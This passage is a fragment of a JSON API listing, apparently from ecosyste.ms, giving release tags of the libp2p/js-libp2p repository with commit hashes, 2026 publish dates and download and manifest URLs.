s/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.25/manifests"},{"name":"autonat-v3.0.22","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v3.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v3.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v3.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.22/manifests"},{"name":"autonat-v2-v2.0.22","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v2-v2.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v2-v2.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v2-v2.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.0.22/manifests"},{"name":"webtransport-v6.0.29","sha":"88b0ecb8ff36134ba5ea270a688a2550979cae2f","kind":"commit","published_at":"2026-06-06T16:17:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.29/manifests"},{"name":"transport-interop-libp2p-main-v1.0.30","sha":"88b0ecb8ff36134ba5ea270a688a2550979cae2f","kind":"commit","published_at":"2026-06-06T16:17:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.30/manifests"},{"name":"kad-dht-v16.3.2","sha":"88b0ecb8ff36134ba5ea270a688a2550979cae2f","kind":"commit","published_at":"2026-06-06T16:17:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.3.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.3.2/manifests"},{"name":"interop-v14.0.29","sha":"88b0ecb8ff36134ba5ea270a688a2550979cae2f","kind":"commit","published_at":"2026-06-06T16:17:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.29/manifests"},{"name":"integration-tests-v1.2.13","sha":"88b0ecb8ff36134ba5ea270a688a2550979cae2f","kind":"commit","published_at":"2026-06-06T16:17:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.13/manifests"},{"name":"gossipsub-v16.0.2","sha":"88b0ecb8ff36134ba5ea270a688a2550979cae2f","kind":"commit","published_at":"2026-06-06T16:17:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v16.0.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v16.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v16.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v16.0.2/manifests"},{"name":"daemon-v6.0.29","sha":"88b0ecb8ff36134ba5ea270a688a2550979cae2f","kind":"commit","published_at":"2026-06-06T16:17:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.29/manifests"},{"name":"daemon-server-v9.0.29","sha":"88b0ecb8ff36134ba5ea270a688a2550979cae2f","kind":"commit","published_at":"2026-06-06T16:17:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.29/manifests"},{"name":"daemon-client-v10.0.29","sha":"88b0ecb8ff36134ba5ea270a688a2550979cae2f","kind":"commit","published_at":"2026-06-06T16:17:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.29/manifests"},{"name":"webtransport-v6.0.28","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.28/manifests"},{"name":"websockets-v10.1.14","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/websockets-v10.1.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/websockets-v10.1.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@websockets-v10.1.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.14/manifests"},{"name":"webrtc-v6.0.24","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v6.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v6.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v6.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.24/manifests"},{"name":"utils-v7.2.2","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/utils-v7.2.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/utils-v7.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@utils-v7.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.2.2/manifests"},{"name":"upnp-nat-v4.0.21","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/upnp-nat-v4.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/upnp-nat-v4.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@upnp-nat-v4.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.21/manifests"},{"name":"transport-interop-libp2p-main-v1.0.29","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.29/manifests"},{"name":"tls-v3.1.3","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tls-v3.1.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tls-v3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tls-v3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.3/manifests"},{"name":"tcp-v11.0.21","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tcp-v11.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tcp-v11.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tcp-v11.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.21/manifests"},{"name":"simple-metrics-v2.0.16","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/simple-metrics-v2.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/simple-metrics-v2.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@simple-metrics-v2.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.16/manifests"},{"name":"record-v4.0.13","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/record-v4.0.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/record-v4.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@record-v4.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/record-v4.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/record-v4.0.13/manifests"},{"name":"prometheus-metrics-v5.0.22","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/prometheus-metrics-v5.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/prometheus-metrics-v5.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@prometheus-metrics-v5.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.22/manifests"},{"name":"pnet-v3.0.22","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/pnet-v3.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/pnet-v3.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@pnet-v3.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.22/manifests"},{"name":"plaintext-v3.0.21","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/plaintext-v3.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/plaintext-v3.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@plaintext-v3.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.21/manifests"},{"name":"ping-v3.1.6","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/ping-v3.1.6","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/ping-v3.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@ping-v3.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.6/manifests"},{"name":"perf-v5.1.6","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/perf-v5.1.6","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/perf-v5.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@perf-v5.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.6/manifests"},{"name":"peer-store-v12.0.21","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-store-v12.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-store-v12.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.21/manifests"},{"name":"peer-record-v9.0.11","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-record-v9.0.11","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-record-v9.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-record-v9.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.11/manifests"},{"name":"peer-id-v6.0.10","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-id-v6.0.10","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-id-v6.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-id-v6.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.10/manifests"},{"name":"peer-collections-v7.0.21","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-collections-v7.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-collections-v7.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-collections-v7.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.21/manifests"},{"name":"opentelemetry-metrics-v2.0.22","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/opentelemetry-metrics-v2.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/opentelemetry-metrics-v2.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@opentelemetry-metrics-v2.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.22/manifests"},{"name":"multistream-select-v7.0.21","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/multistream-select-v7.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/multistream-select-v7.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@multistream-select-v7.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.21/manifests"},{"name":"mplex-v12.0.24","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.24/manifests"},{"name":"memory-v2.0.21","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/memory-v2.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/memory-v2.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@memory-v2.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.21/manifests"},{"name":"mdns-v12.0.24","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mdns-v12.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mdns-v12.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mdns-v12.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.24/manifests"},{"name":"logger-v6.2.8","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/logger-v6.2.8","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/logger-v6.2.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@logger-v6.2.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.8/manifests"},{"name":"libp2p-v3.3.3","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/libp2p-v3.3.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/libp2p-v3.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@libp2p-v3.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.3/manifests"},{"name":"keychain-v6.1.2","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/keychain-v6.1.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/keychain-v6.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@keychain-v6.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.1.2/manifests"},{"name":"kad-dht-v16.3.1","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.3.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.3.1/manifests"},{"name":"interop-v14.0.28","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.28/manifests"},{"name":"interface-v3.2.3","sha":"17557e888134c0a250bff43b035a52b751a39db7","kind":"commit","published_at":"2026-05-31T06:21:05.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-v3.2.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-v3.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-v3.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-v3.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2